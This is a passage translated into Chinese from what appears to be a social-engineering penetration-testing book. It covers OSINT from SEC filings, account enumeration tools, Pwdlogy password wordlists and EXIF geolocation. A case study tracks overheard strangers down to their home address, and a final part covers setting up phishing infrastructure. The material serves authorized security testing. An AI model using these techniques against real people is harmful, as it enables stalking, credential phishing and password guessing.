要查找一家公司的 SEC 表格,请浏览 SEC EDGAR 网站(www.sec.gov/edgar/searchedgar/companysearch.html)。你可以在 Investopedia 上了解更多关于各种 SEC 表格的信息,www.investopedia.com/articles/fundamental-analysis/08/sec-forms.asp

一个特别有用的表格是 SEC 表格 10-K,这是公司年度报告。它提供了公司财务状况的概述,包括执行团队、董事会、过去一年遇到的问题以及他们关心的风险。SEC 要求公司在财政年度结束后的 90 天内提交这些表格,因此发布日期可能会有所不同。

通过使用沃尔玛 2018 年的 10-K 表格和年度报告,让我们来检查一些 OSINT 评估的重点。例如,沃尔玛 2018 年的年度报告中写道:

我们正在为我们的员工提供更好的信息、工具和培训,帮助他们获得成功。在商店里,这意味着我们的员工将更多时间用于推动销售,而较少时间从事重复性的任务。我们已经开设了培训学院,以进一步提升员工的零售技能,并部署了新技术和应用,帮助他们提高库存水平和更好地管理价格变化。

这让我们知道了两件事:公司称其员工为员工并且开设了培训学院,这些信息可以用来建立联系。在撰写钓鱼攻击的邮件时,你甚至可以直接引用这样的报告(参见第七章中的这一策略示例)。

10-K 表格首先会说明财政年度何时结束,这让我们了解相对于财政季度的紧迫程度。在表格稍下方,我们可以看到公司注册地、总部地址、邮政编码和主电话号码,以及其雇主识别号(EIN)。

在沃尔玛 2018 年的 10-K 表格中,你可以找到以下有用的信息:

关于将公司名称从沃尔玛商店公司更改为沃尔玛公司的声明

  1. 这在与员工和供应商互动时可能会有用。

名为“影响我们业务的风险因素和不确定性”的一节

  1. 这是一个极好的参考资料,帮助攻击者理解公司的商业模式以及它如何看待威胁。

沃尔玛用于在互联网上开展业务的网站列表

  1. 在这里,我们还看到了沃尔玛认为的竞争对手。例如,在关于其仓储会员制商店 Sam's Club 的部分中,它提到了 Costco。

关键人物名单

  1. 这份高层员工名单可以用于虚假电话和钓鱼攻击。我们还可以看到员工的角色和年龄,这可能有助于我们监控他们的社交媒体。

沃尔玛如何使用技术的讨论

  1. 这使我们能够看到沃尔玛如何减轻和看待与其信息技术基础设施相关的威胁。

关于沃尔玛法律活动的见解

  1. 这可以为我们提供更多关于公司运作的背景,或者帮助我们锁定法律部门的某个人。

执行独立第三方审计的审计公司信息

  1. 这为我们的借口提供了更多的背景信息。

董事会成员的介绍及其背景

  1. 这为我们提供了更多有关沃尔玛如何开展业务的信息。同时,也提供了我们可以用来构建可信的借口,针对其员工进行攻击的信息。

你还应该寻找其他表格,如 8-K(重大状态变动)和 10-Q(季度报告)。8-K 通常涉及股票的授予或出售。10-Q 是 10-K 的增量版本,每季度发布,但详细程度较低。

结论

本章节说明了社交媒体和其他公开资源的有用性(以及危险)。在本章节收集到的信息是构建社交工程攻击的良好基础。虽然我们应该仅武器化我们所需要的信息,但讨论那些我们发现但没有在报告中使用的信息同样重要,因为我们发送给客户的报告是为了帮助他们变得更加安全。毕竟,我们不是仅仅为了获得访问权限、炫耀一下然后下次重复同样的操作。

OSINT 不仅仅是收集关于某一目标的所有信息。OSINT 的一部分是分析数据并找到利用它的方法。对一些人来说,OSINT 既是一种思维方式,也是一项技术能力。你不需要成为一个顶级黑客(从技术角度来说),也能在 OSINT 中表现得很好,甚至达到精英水平。社交工程也是如此。

第六章:收集关于个人的 OSINT

虽然前几章重点讨论了收集关于企业的 OSINT,本章则集中于使用一系列工具收集关于个人的 OSINT。你将学习如何通过寻找个人的兴趣爱好、不喜欢的事物、社交关系和密码重置问题等信息来锁定目标。我们还将继续利用目标对抗企业,收集他们在工作场所拍摄的照片、简历、投诉或抱怨、工作炫耀以及旅行等信息,仅举几例。

使用 OSINT 工具分析电子邮件地址

通常,当你开始进行攻击时,手头只有一个电子邮件地址。虽然这足以进行钓鱼攻击,但你可能需要更多关于目标的信息,以执行其他任务。在这些情况下,你可以利用电子邮件地址收集更多关于目标的信息,如用户名、照片、社交媒体账户和物理位置。以下工具允许你仅通过电子邮件地址搜索与个人相关的 OSINT。

所有这些信息都会通过我所称的OSINT 心跳进行传递。OSINT 心跳是指扩展和收缩你收集到的信息——使你能够在微观层面专注于目标,然后再向外扩展,关注邻近的人、账户和关联,在宏观层面进行拓展。OSINT 心跳的最重要方面是辨别哪些信息具有情报背景,哪些则没有。这个过程对于避免过于专注目标而导致的视野狭窄非常重要,这种狭隘的视角会让你错过其他重要数据点。

通过 Have I Been Pwned 查找用户是否被泄露

Recon-ng 中的hipb_breachhibp_paste模块搜索 Troy Hunt 的 Have I Been Pwned (HIBP)网站(haveibeenpwned.com/)及相关数据库,以确定输入的电子邮件地址是否涉及任何数据泄露事件。

我经常使用这些模块来构建关于目标公司员工如何使用工作邮箱的档案。这是衡量公司安全项目成熟度的一个良好指标。例如,一些人,如管理社交媒体账户的人,可能需要将 Facebook 或 LinkedIn 账户与工作邮箱关联。然而,清洁工或初级技术支持人员可能就不需要这样做。

要在 Recon-ng 中使用 HIBP 模块,只需加载模块,将SOURCE字段设置为你要搜索的电子邮件地址或列表,然后输入run命令:

[recon-ng][book] > **modules search hibp**
[*] Searching installed modules for 'hibp'...
  Recon
    recon/contacts-credentials/hibp_breach
    recon/contacts-credentials/hibp_paste
[recon-ng][default][hibp_breach] > **run**
[*] bill@nostarch.com => Breach found! Seen in the Adapt breach that occurred on 2018-11-05.
[*] bill@nostarch.com => Breach found! Seen in the AndroidForums breach that occurred on 2011-10-30.
[*] bill@nostarch.com => Breach found! Seen in the AntiPublic breach that occurred on 2016-12-16.

你也可以手动在 HIBP 的主网站上搜索记录。有些出现的记录是私密的,这意味着只有在你能通过自动化的邮件流程确认你拥有该邮箱,或者确认你拥有整个域名(或是该域名的授权系统管理员)时,才能查看这些记录。要检查整个域名中的每个邮箱,你必须能够证明所有权,通常通过 DNS TXT 记录来验证。Ashley Madison 交友网站被黑事件就是一个例子。

使用 Sherlock 枚举社交媒体账户

Sherlock (github.com/sherlock-project/sherlock/) 是一个由 Sherlock 项目编写和维护的 Python 3 工具。它搜索各种社交媒体网站以查找用户名。Sherlock 检查的网站列表比其他工具要短,但仍然很有用。

要安装和使用 Sherlock,请按照以下步骤进行:

**git clone https://github.com/sherlock-project/sherlock**
**cd sherlock**
**pip3 install -r requirements.txt**
**python3 sherlock.py** `OPTIONS USERNAME`

Sherlock 将提供类似于 WhatsMyName 和 Recon-ng 的结果。使用你偏好的工具,但总是使用多个工具来提高你收集数据的质量或准确性。

使用 WhatsMyName 枚举网站账户

WhatsMyName (github.com/WebBreacher/WhatsMyName/) 是由 Micah Hoffman 编写的工具,用于枚举某个特定用户名存在的网站。这是检查用户行为和网络活动的有效方式。你也可以在 Recon-ng 中以 profiler 模块的形式运行 WhatsMyName。此外,Chris Poulter 在 OSINT Combine 与 Hoffman 合作,创建了一个 WhatsMyName 网站应用程序 (whatsmyname.app/)。

在撰写本文时,WhatsMyName 检查了超过 250 个网站。要限制检查的网站数量或向列表中添加内容,只需按照正确的 JSON 语法编辑 web_accounts_list.json 文件,如下所示:

 {
         "name" : "YouTube",
         "check_uri" : "https://www.youtube.com/user/`account`/videos",
         "account_existence_code" : "200",
         "account_existence_string" : "name\" content=",
         "account_missing_string" : " This channel does not exist",
         "account_missing_code" : "404",
         "known_accounts" : ["test"],
         "category" : "video",
         "valid" : true
      }

如果你想检查一个不在 JSON 文件中的网站,你可以简单地研究该网站如何处理 HTTP 请求,包括它使用的参数和预期的 HTTP 响应码。然后,你只需将该条目复制到文件中。

使用以下命令运行 WhatsMyName:

**root@kali:/opt/WhatsMyName# python3 web_accounts_list_checker.py -u nostarchpress**
 -  190 sites found in file.
 -  Looking up https://500px.com/nostarchpress
 -  Looking up https://9gag.com/u/nostarchpress
`--snip--`
 -  Looking up https://api.github.com/users/nostarchpress
[+] Found user at https://api.github.com/users/nostarchpress
 -  Looking up https://gitlab.com/nostarchpress
[+] Found user at https://gitlab.com/nostarchpress
 -  Looking up https://www.goodreads.com/user/show/nostarchpress
 -  Looking up https://www.gpsies.com/mapUser.do?username=nostarchpress

当你执行脚本时,WhatsMyName 检测到账户的每个网站旁边应该会出现一个 [+] 标志。

使用 Pwdlogy 分析密码

Pwdlogy(发音为 Password-ology)是由 tch1001 编写的工具,它允许黑客基于目标用户经常使用的术语和对他们有意义的主题来构建单词列表。你需要做一些手动分析,然后填充一个列表。该工具随后通过添加字符并交替改变输入的字符,扩展这个列表,生成一个更长的单词列表。攻击者可以使用这个单词列表进行密码猜测攻击和相关活动。

虽然表面上看这对社交工程师似乎不是特别有用,但通过一些巧妙的方法,它可以派上用场。例如,假设你正在钓鱼一个特定用户,并且获得了使用密码重置作为借口的批准。换句话说,你可以通过向用户询问信息,可能是通过发放调查问卷或在闲聊时获取。利用这些信息,你可以在 Pwdlogy 中填充列表并用于测试。如果你要钓鱼的用户不到 10 个,你可以通过这种方式发现他们是如何创建新密码的。如果你要钓鱼的用户有成百上千个,这种方法可能就不太有效了。

要安装并使用 Pwdlogy,请输入以下命令:

**git clone https://github.com/tch1001/pwdlogy**
**cd pwdlogy**
**python3 pwdlogy**

这些命令将把 GitHub 上的代码克隆到你的系统中,然后将你移到相应的目录并用 Python 执行它。要为 Pwdlogy 创建你的列表,使用 OSINT 收集关于每个用户的以下信息:

  • 配偶、兄弟姐妹、父母和孩子的名字

  • 宠物的名字

  • 喜爱的词语和数字

  • 生日

作为防御者,你可以限制用户使用这个列表中任何变种作为密码,并要求他们选择不同的密码。这将有助于减少有人猜测用户密码的概率,但对于密码重用或由于公司外部数据泄露而导致的密码填充问题无济于事。

另外,你也可以在对话中使用这个列表,或者通过钓鱼手段来引起目标的注意。例如,询问受害者的配偶或孩子的情况,并提到名字。渗透测试人员可能会使用这些信息进行密码喷洒(这是一种尝试在多个用户名中使用相同密码的攻击方式,相较于传统的密码破解,后者是针对单一用户尝试多个可能的密码)或其他技术手段来访问账户。

分析目标的图片

在本章中,我展示的一些搜索结果揭示了图像,进一步分析这些图像可以为我们提供关于目标的重要信息。我在查看图片进行 OSINT 分析时,会关注四个方面。

首先,我看的是前景,也就是这张图片究竟要传达什么信息,无论是关于一个人、一场景,还是其他任何东西。接着,我会查看背景。例如,是否有俗气的酒店墙纸,可能将这张图片与特定的地点或连锁酒店联系起来?然后,我会注意图片中缺失的部分。这里应该有什么?我把它当作一种对比两张图片的挑战。是否有东西被 Photoshop 移除了?有东西被移出了画面?

最后,我会查看可交换图像文件格式(EXIF)数据。EXIF 格式是静态图像的标准,它定义了数字相机、智能手机及其他系统生成的图像、声音和其他标签。由于所有相机和智能手机都能生成此类数据,因此我们可以收集关于图片及拍摄者的不同级别的 OSINT 信息。

在本节中,我将介绍几种分析 EXIF 数据的方法。

手动分析 EXIF 数据

让我们分析图 6-1 中显示的图片的 EXIF 数据。

<<英国 Eynsford 的 Darent 河岸。显示了部分河流,背景中有树木和高草。>>

图 6-1:学生发送给我进行分析的图像

要分析 EXIF 数据,在 Mac 上右键点击图像并选择获取信息。在 Windows 和 Linux 上,右键点击图像并选择属性。这应该会打开一个可以查看 EXIF 数据的窗口(图 6-2)。

在这里,我们看到图像类型以及我下载它的时间。我们得到图像的尺寸,拍摄该图像的相机品牌和型号——在这个例子中是 iPhone X。底部显示了拍摄该图像的地点的纬度和经度,这是智能手机通常包含的信息。

使用 ExifTool 分析图像

ExifTool是一个可以自动分析 EXIF 数据并提供比手动分析更多信息的工具。这些信息对于在现场对公司进行概况分析、了解公司文化,或者针对移动设备进行利用攻击时可能尤其有用。另一个有用的应用场景是,如果你参加了 Trace Labs 的 Search Party CTF(www.tracelabs.org/getinvolved/ctf/)。

<<EXIF 数据,图 6-1.jpg。红框中标出了图像种类、大小、文件位置、创建日期、最后修改日期、设备品牌与型号,以及纬度和经度。>>

图 6-2:在 MacBook 上获取 EXIF 信息

要在 Kali 中安装 ExifTool,运行以下命令:

**apt-get install exiftool**

要分析一个文件,运行以下命令:

**exiftool**`filename`

你也可以使用 Jeffrey 的图像元数据查看器(exif.regex.info/exif.cgi),这是 ExifTool 的在线版本。如果你不想下载文件,或者仅仅在处理在线图像时,这是非常有用的。你可以向工具提供一个文件或链接,它会在屏幕上显示结果。

让我们从查看 MACB 时间开始 MACB是一个取证术语,用来描述文件的修改访问、更改“诞生”(创建)时间。在这个例子中,它显示了我从电子邮件中下载此文件的时间:

root@kali:~/Documents# **exiftool IMG_4438.JPG** 
ExifTool Version Number         : 11.65
File Modification Date/Time     : 2019:09:14 00:41:45-04:00

接下来,在文件类型之后,你会看到相机的品牌与型号,以及拍摄照片时设备的朝向,并且闪光灯没有被使用:

File Type                       : JPEG
JFIF Version                    : 1.01
Exif Byte Order                 : Big-endian (Motorola, MM)
Make                            : Apple
Camera Model Name               : iPhone X
`--snip--`

软件字段也非常重要,因为在这种情况下,它告诉我们拍摄照片的手机正在运行的 Apple iOS 版本:

Software                        : 12.3.1
Create Date                     : 2019:08:03 11:39:02
`--snip--`
Scene Type                      : Directly photographed
Custom Rendered                 : Portrait HDR

接下来,你会看到镜头的品牌与型号。这应该与相机的品牌与型号相似。在这种情况下,你可以看到使用的是 iPhone X 的后置双摄像头,并且图像拍摄地点位于北半球和东半球(基本上是欧洲或部分亚洲地区):

Lens Info                       : 4-6mm f/1.8-2.4
Lens Make                       : Apple
Lens Model                      : iPhone X back dual camera 6mm f/2.4
GPS Latitude Ref                : North
GPS Longitude Ref               : East
GPS Altitude Ref                : Above Sea Level
GPS Speed Ref                   : km/h
GPS Speed                       : 0.2333080322

图像方向是摄影师所指向的方向(在 0.000 到 359.99 度之间):

GPS Img Direction Ref           : True North
GPS Img Direction               : 221.1058655
`--snip--`
Digital Creation Time           : 11:39:02
Digital Creation Date           : 2019:08:03

在最后的分析部分,你可以看到手机离开充电器的时间、海拔高度以及纬度和经度:

Image Size                      : 4032x3024
Megapixels                      : 12.2
Scale Factor To 35 mm Equivalent: 8.7
Shutter Speed                   : 1/163
Create Date                     : 2019:08:03 11:39:02.291
Date/Time Original              : 2019:08:03 11:39:02.291
GPS Altitude                    : 16.6 m Above Sea Level
GPS Latitude                    : 51 deg 22' 4.87" N
GPS Longitude                   : 0 deg 12' 37.68" E
Date/Time Created               : 2019:08:03 11:39:02
Digital Creation Date/Time      : 2019:08:03 11:39:02

这使你能够通过使用地图应用程序确认照片拍摄地点。例如,如果这是一张放在桌子上的解锁 Windows 7 电脑的照片,你可以使用这些坐标来找出照片拍摄地点的地址,以及可能是拍摄地点所在公司的名称。

现在让我们来试试这个。获取纬度和经度,然后将其输入到谷歌地图中,生成图 6-3 所示的图像。

<<谷歌地图截图显示了从 EXIF 数据中提取的纬度和经度位置的 Eynsford 河畔街景图像,图中显示了在人行道上野餐的一群人。>>

图 6-3:从 EXIF 数据中提取的纬度和经度的谷歌地图条目

这个场景确认了照片是在英国 Eynsford 的 Darent 河畔的 Plough Inn 附近拍摄的。

无工具分析社交媒体

在本节中,我将讨论社交媒体平台在 OSINT 收集中的最有用的方面。一般来说,你应该关注习惯、文化和联系。习惯包括用户发布内容的频率、他们使用的术语以及类似的行为。文化包括个人或组织遵循的规范。联系,或者说目标网络中的其他用户,是一个棘手的问题。我不建议通过与个人账户互动的方式进行联络,因为这些账户不是你所在公司拥有的。

LinkedIn

在 LinkedIn 上,检查目标是否是LinkedIn 开放网络者(LION),或者是否接受所有连接请求。还可以列出他们的同事,查看他们的信息,这些信息可能包括一些成就。你还可能会找到电子邮件地址或链接到他们的其他社交媒体网站。

Instagram

在 Instagram 上,你可以看到目标最常与谁互动。你还可以确认某个人的真实样子,而不仅仅是他们的头像,从而建立一个档案,帮助你像他们花时间交往的人一样行事。人们通常不愿承认,但他们通常会和某种类型的人交往。

Facebook

Facebook 可能会让你了解到比你想知道的更多信息,或者相反,它可能就像是从萝卜里挤出血液。有些人非常注重隐私,而 Facebook 提供了最细致的隐私控制,典型的设置包括仅自己、特定朋友、仅限朋友、朋友的朋友和公开。

如果某人在 Facebook 上公开分享,你可以了解他们的关系、旅行以及政治和宗教信仰。即使某人将隐私设置为“朋友”或更严格,你仍然可以看到他们公开发布或评论的所有内容(比如当地新闻),除非他们屏蔽了你。

Twitter

在隐私控制方面,Twitter 只有三个选项:保护/锁定、屏蔽和默认。保护/锁定允许用户批准谁可以查看他们的推文。这不同于屏蔽;如果用户屏蔽另一个用户,但没有设置保护/锁定,屏蔽的用户仍然可以通过另一个账户查看对方的推文。如果设置了保护,那么他们必须提交请求才能获得批准。默认设置会将所有内容展示给所有人,除非他们被屏蔽或静音。Twitter 对于收集公众人物、技术专家、新兴技术的早期采用者、政治评论员和体育迷的信息特别有用。

案例研究:那顿让所有黄金都消失的晚餐

前些时候,我在一家当地的餐馆吃晚餐。我坐在两位女士旁边,从她们的对话听起来,像是老朋友在叙旧。第一位女士——我们叫她 Wanda——提问最多,而另一位女士——我们叫她 Tammy——则毫不保留地分享信息。

Wanda 问 Tammy 在哪里工作,Tammy 回答了公司名称,并解释了这个名字的由来(是老板名字的变体)。她说自己在那儿工作了五年,并解释了她为公司做的工作,透露那是一家面包店。接着,她倾诉了自己的沮丧并谈到了她的成就。

Wanda 问 Tammy 是否已经结婚了。Tammy 谈到了她的前男友 Steven 以及他们共同抚养 Leif 的事情。她还提到了 Steven 的妈妈,住在塔尔萨,并告诉 Wanda,Steven 的妈妈有点害怕 Leif。我想知道:哪位祖母会害怕自己的孙子孙女?等一下,我想,也许 Leif 不是一个人类孩子。果然,Wanda 问 Tammy 是否想要亲生孩子,Leif 是什么品种的。Tammy 则谈到了她的身体形象和一些健康问题,然后告诉她朋友 Leif 是一只一岁的杂交狗。

最后,Tammy 谈到了她的新男友 Dick 以及他作为一名喜剧演员的职业。Wanda 问 Dick 对分享 Leif 的抚养权有什么看法,Tammy 则讲述了 Dick 和 Steven 一起做了几件事,并且一起去看音乐会的故事。

这看起来可能无害,但通过这次对话,我发现了以下内容,以及我是如何得知的:

面包店老板的名字

  1. 我搜索了面包店的名字,然后查看了 Facebook 上的评论和回复评分。

面包店老板的女儿和员工的名字

  1. 我浏览了面包店的照片,然后在 Facebook 上找到了老板的公开关系状态。

老板女婿的名字

  1. 同样,通过公开的关系状态记录来查找所有者的信息。

塔米的名字

  1. 我开始发挥创意,阅读烘焙店的 Facebook 评论。通过对话得知塔米五年前开始在烘焙店工作,于是我在那个时间段内寻找评论。我发现了一条没有文字或推荐语的五星评论,并通过她的个人资料图片认出了评论者。

迪克的身份,男朋友

  1. 我检查了塔米在 Facebook 上的照片和关系状态,并通过他 Facebook 页面上列出的关系状态和职业进一步确认了这个发现。

史蒂文的身份,前男友

  1. 塔米有三个 Facebook 朋友叫史蒂文,但其中只有一个人的母亲住在塔尔萨。我通过查看照片并与 Leif(顺便说一句,是一只非常丑的狗)的资料交叉验证确认了这个发现。

塔米和迪克的家庭地址,以及家中的照片

  1. 在查看了他们的 Facebook 页面上的线索后,我还检查了梅丽莎物业数据探索器中的物业记录和 Google 街景。

如果落入不法之手,这些信息可能成为身份盗窃、入室盗窃甚至更严重事件的燃料。这种情况该如何避免或预防呢?

  • 我本可以选择不听。但一旦你进入了 OSINT 和社会工程学领域,就很难完全关闭这种兴趣。

  • 塔米和旺达本可以少说一些,或者说得更轻声。塔米、迪克、史蒂文和旺达可以在社交媒体上使用更好的分享设置和隐私控制。所有人都可以在说话或发布内容时模糊一些,或者使用虚假信息来让社会工程师迷失方向。

结论

收集人物 OSINT 的目的是更好地了解员工可能给雇主带来的威胁,并在社会工程学互动中可能与他们建立联系。人物 OSINT 的来源有很多,包括照片、朋友、社交媒体,以及一些日常信息,如电子邮件地址、用户名和 IP 地址。为了以道德方式使用这些工具,应将其视为了解公司,而不是个人的手段。记住:远离与个人账户的互动。

第七章:网络钓鱼

在本章中,你将创建一个网络钓鱼活动。我们将介绍如果你想手动创建攻击所需的基础设施,然后讨论自动化解决方案、你可以在攻击中加入的技术功能,如跟踪像素,以及在部署前需要考虑的因素,以确保活动的成功。本章应帮助任何社会工程师开始进行基于邮件的攻击,也可能为系统管理员提供复习,或为来自安全运营中心或合规角色的人提供信息性指南。

设置网络钓鱼攻击

网络钓鱼攻击所需的架构会有所不同。你需要的工具完全取决于任务的范围、工作说明书(SOW)、合同以及客户的需求。例如,如果客户希望你衡量有多少员工点击了邮件中的可疑链接,你只需要一个简单的 Web 服务器来捕获 HTTP GET 请求,并向用户显示 404 页面或“感谢”页面。响应将被存储在 Apache 日志中。

从这里开始,事情变得更加复杂。客户是否希望你进行伪装或蹲守?你可以伪装一个合法的域名,发送邮件并操控显示给接收者的信息,使其看起来像是来自合法来源,但伪装是很容易被发现的。

蹲守(Squatting),一种类似的技术,风险较低,且不容易被抓住。它涉及注册一个类似于目标接收者域名的域名,比如将公司.com的域名注册成.co.uk。这样,你的邮件看起来就像是来自合法的域名——至少对那些不仔细查看的人来说是这样。

接下来,你的客户是否希望你收集用户凭证或其他敏感信息,如密码重置问题?如果是这样,你的邮件将需要链接到一个网页,要求以令人信服的方式输入这些信息。或者,你的客户是否希望你发送恶意文档?如果是,你需要创建这些文档,并找到一个地方托管它们,同时避免被安全工具标记。

他们是否希望你使用自动化的网络钓鱼解决方案,比如 King Phisher 或 Gophish?如果你经常进行网络钓鱼攻击,你可能已经有了自动化的设置,但即便如此,你可能仍需要进行一些修改或输入你自己的邮件设计。最成功的社会工程师不仅理解架构的技术细节,还能把握人类因素,这使他们的攻击能够成功。

在本节中,你将设置一个复杂的网络钓鱼攻击,旨在欺骗用户并避免检测。通过设置自己的 VPS、邮件服务器和登录页面,你将能够发送看起来来自合法公司邮件地址的邮件。在邮件正文中,你会包含一个链接,引导用户访问一个网页,促使他们输入凭证。

为网络钓鱼登录页面设置安全的 VPS 实例

无论你在参与过程中做什么,几乎总是需要一个 VPS 实例。通过 VPS,你可以托管一个登陆页面并运行邮件服务器(如果需要),而无需将你的攻击行为与你的 IP 地址关联。

在这一节中,我将向你展示如何使用 DigitalOcean 设置一个安全的 VPS。DigitalOcean 是一家云基础设施公司,允许你在其平台上进行安全研究。滴灌(Droplets)是 DigitalOcean 的 VPS 实例,起始价格较低,且包含备份、快照、存储卷、DNS、CDN、负载均衡、一键应用和网络防火墙等功能。你可以选择多种 Linux 和 BSD 操作系统、容器以及预装的应用程序,如 Node.js、LAMP、WordPress、GitLab 和 Docker。

请注意,DigitalOcean 在纽约、旧金山、多伦多、班加罗尔、阿姆斯特丹、法兰克福、伦敦和新加坡设有数据中心。这些位置很重要,因为某些地区会过滤特定的内容,而一些公司则会根据国家过滤流量。此外,如果你处理的是欧洲公民的数据,你应该就欧盟 GDPR 寻求法律建议。

理想情况下,你应该在任务开始前至少两周就设置好你的 VPS、域名和 Web 服务器。这是因为一些邮件服务器安全平台会拒绝来自成立不到两周的域名的所有邮件。

创建 DigitalOcean 账户和滴灌

要设置 DigitalOcean 滴灌,你需要先创建一个账户。访问 www.digitalocean.com/ 并按照页面上的注册说明操作。我建议启用账户的双重身份验证,以防他人通过破解你的密码访问你的账户。

登录后,选择 创建滴灌(Droplet)。选择你所需的操作系统。我推荐使用 Kali 或 Debian Linux。然后根据需要调整滴灌的配置,确定所需的处理器数量和内存大小。滴灌连接的用户越多,它所需的处理能力也会越大。如果是一个针对大约 150 个用户的小型任务,标准滴灌应该能正常运行。接下来,你可以选择使用 IPv6、私有网络、备份或你自己的 RSA 密钥。你还可以添加主机名或创建多个滴灌。

一旦创建完成,你应该能够看到滴灌的 IP 地址。DigitalOcean 会通过电子邮件发送初始的 root 凭据给你,并附上 IP 地址。如果你上传了 SSH 密钥对,按照下一节的描述,你可以使用这些信息进行登录。如果没有,DigitalOcean 会通过电子邮件发送临时的 root 密码,但在第一次登录后你会被提示更改密码。

创建 SSH 密钥对以保护 VPS

拥有强身份验证方法很重要,因为这个服务器是面向互联网的。当我使用 DigitalOcean 运行蜜罐——故意设计成脆弱的系统,目的是被攻击,以便研究人员研究攻击者的技术和行为,或提醒管理员系统被攻击——这些主机受到了扫描器和潜在攻击者的猛烈攻击。

为了防止攻击者暴力破解你的密码,创建 SSH 密钥对。SSH 密钥对,也称为RSA 密钥对,是一对用于登录的私有和公有 RSA 密钥。你将私钥(默认是id_rsa)复制到远程系统,并将公钥(默认是id_rsa.pub)复制到authorized_keys文件中,以允许登录。SSH 密钥还可以禁用密码认证。

首先,在终端中执行以下命令:

**ssh-keygen -t rsa**
Enter file in which to save the key (/root/.ssh/id_rsa): 
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /root/.ssh/id_rsa.
Your public key has been saved in /root/.ssh/id_rsa.pub.
cat ./.ssh/id_rsa.pub > ./.ssh/authorized_keys

ssh-keygen命令会生成密钥对。默认情况下,密钥会出现在 VPS 的/root/.ssh目录下。你可以通过向ssh-keygen命令传递-C /path/选项,后跟所需的文件路径,来选择将密钥写入特定位置。你可能还需要为 SSH 密钥设置一个密码短语,以创建第二重身份验证因素。在创建密钥对时,系统会提示你输入密码短语。如果你不想使用密码短语,直接按回车键继续。

你需要在用来控制 VPS 的系统上访问 VPS 密钥对。为此,可以使用安全复制协议(SCP)或 SCP 客户端。如果你使用的是 Windows 主机,可以使用WinSCP,它是一个终端仿真器,允许 Windows 用户通过 FTP、SSH 和 Telnet 直接连接到 Linux 主机。如果你使用的是 Mac 或 Linux 主机,可以使用类似原生终端、iTerm2、Cyberduck 或 Termius 的 SCP 客户端。这将允许你在 Droplet 之间移动 RSA 密钥。你也可以稍后使用 SCP 客户端将文件等工件在 Droplet 之间移动。

使用 WinSCP 复制文件时,使用你创建的凭据(密码或 RSA 密钥对)登录 VPS,然后在 GUI 中拖放文件即可。你需要确保文件具有正确的权限。运行命令chmod 600``filename_of_private_key以确保你设置了正确的权限。

设置 Windows 远程访问 VPS

一旦你将 RSA 密钥移动到工作站,安装一个客户端来为你提供 VPS 的远程访问。你需要远程访问以便在 VPS 上设置登录页面并配置其他服务,如邮件服务器。

在 Windows 上,你可以使用 PuTTY 工具进行远程访问。从 PuTTY 官方网站下载 PuTTYgen,www.putty.org/。然后,通过将 RSA 私钥导入到该软件中,创建一个 PuTTY 私钥(PPK)文件,用于 PuTTY 和 WinSCP。在 PuTTY 密钥生成器窗口中,点击生成(图 7-1)。

id_rsa 密钥从主机导入到 PuTTYgen 中。你应该能看到以 PPK 格式生成的密钥,如图 7-2 所示。

<<PuTTY 密钥生成器窗口显示生成公私钥对、加载现有私钥文件、保存生成的密钥、选择密钥参数和位数的选项。“Generate”按钮高亮显示。>>

图 7-1:PuTTYgen

<<PuTTY 密钥生成器窗口显示 PPK 格式的公钥,可粘贴到 OpenSSH authorized_keys 文件中。>>

图 7-2:创建 PPK

接下来,将密钥加载到 PuTTY 会话中。为此,将你的用户名或滴滴(droplet)的 IP 地址输入 Host Name (or IP Address) 字段中(见图 7-3)。

<<PuTTY 配置窗口显示 PuTTY 会话的基本选项。主机名字段列出了 "root@127.0.1.1",端口字段列出了 "22"。已选择 SSH 连接类型。BOOK 保存的会话和 Load 按钮高亮显示。>>

图 7-3:PuTTY 配置

然后从左侧窗格中选择 ConnectionSSHAuth(见图 7-4)。在 Private key file for authentication 字段中输入 PPK 文件的文件路径。最后,点击左侧窗格顶部的 Session,为实例命名并保存。要连接到主机,点击 Open

<<PuTTY 配置窗口显示控制 SSH 身份验证的选项,可以从 Connection 类别下的 SSH 和 Auth(用红色框标出)访问。已选择“Display pre-authentication banner (SSH-2 only)”、“Attempt authentication using Pageant”和“Attempt 'keyboard-interactive' auth (SSH-2)”选项。用于上传私钥文件进行身份验证的文件路径字段也已框选。>>

图 7-4:配置 PuTTY 使用 PPK

现在你已经配置了 PuTTY 使用 SSH 密钥,输入你设置的密码短语(如果设置了的话)来登录到 VPS。更新所有包并运行任何未完成的安全更新,以保护自己免受公共互联网的攻击。

设置 macOS 或 Linux 远程访问 VPS

如果你从 macOS 或 Linux 操作系统访问 VPS,你需要先将 RSA 私钥复制过去,可以通过 SCP 或复制粘贴完成。这可以通过终端来操作。执行以下命令来复制密钥(在这个例子中,我已经屏蔽了 IP 地址):

root@******:**~/.ssh# scp root@***.***.***.***:/root/.ssh/id_rsa ./id_rsa**

如果你使用像 Termius 这样的远程访问工具,它是一个付费解决方案,允许你保存 SSH 会话,那么你不需要复制文件,但你需要将文件的内容复制并粘贴到你的钥匙链中。为此,执行以下命令:

root@******:**~****#cat ./.ssh/id_rsa**

如果使用终端通过 SSH 连接,执行以下命令来获得访问权限:

root@******:**~# chmod 600 id_rsa**
root@******:**~# ssh -i id_rsa root@***.***.***.*****

如果一切正常运行,你将在 VPS 上看到最后登录的提示,以及任何需要更新的包。如果密钥配置不正确,你将看到一个错误,指示出了问题所在。

禁用基于密码的认证

既然你已经连接,接下来要采取措施确保你的 VPS 保持安全。首先,移除通过密码登录系统的能力。(这不会影响你以后安装的任何 Web 应用程序。)任何登录到此 VPS 的人都需要 RSA 私钥,这种密钥极难(如果不是不可能的话)进行暴力破解,而不像密码那样容易。

通过执行以下命令,确保 authorized_keys 文件包含你之前创建的公钥:

root@******:**~# cat id_rsa.pub >> ./.ssh/authorized_keys**

在文本编辑器中打开 sshd_config 文件,并将 #PasswordAuthentication yes 更改为 PasswordAuthentication no

为此,执行以下命令:

root@******:**vi /etc/ssh/sshd_config**

保存文件后,重新启动 SSH。你需要在 ssh 命令中定义密钥以连接到 VPS:

root@******:**chmod 600**`key_file`
root@******:**ssh -I**`key_file``user`**@**`VPS_IP_address`

然后输入你创建的密码短语(如果有的话)。

安装防火墙

接下来,你需要一个防火墙来限制 VPS 上某个应用程序可以访问的端口以及哪些主机可以访问 VPS。这将防止漏洞扫描机器人和攻击者连接到 VPS,避免连带损害。如果尚未安装 Uncomplicated Firewallufw),请安装它:

root@******:**apt-get install ufw**

现在,确保通过发出 ufw enable 来启用防火墙。接下来的步骤将创建新规则来控制数据进出 VPS 的流动:

root@******:**ufw allow from** `your_IP_address` **to any**
